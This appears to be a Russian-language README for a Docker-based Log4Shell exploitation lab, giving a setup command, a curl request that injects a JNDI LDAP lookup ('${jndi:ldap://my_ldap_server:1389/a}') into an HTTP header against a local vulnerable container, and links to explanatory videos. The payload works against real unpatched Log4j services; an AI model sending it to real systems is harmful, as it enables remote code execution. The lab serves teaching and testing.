Лаборатория эксплуатации log4shell

Этот репозиторий представляет собой одношаговую настройку для лаборатории эксплуатации log4shell.

Настройка лаборатории: docker-compose up -d

Запуск эксплойта: curl -X GET http://localhost:8080/ -H "X-Api-Version: ${jndi:ldap://my_ldap_server:1389/a}"

Затем перейдите в контейнер vul и убедитесь, что мы действительно взломали машину:

• Видео, объясняющее настройку лаборатории: https://www.youtube.com/watch?v=WBzR30JcT5g)
• Видео, объясняющее код: https://www.youtube.com/watch?v=oRvp0c-fa1o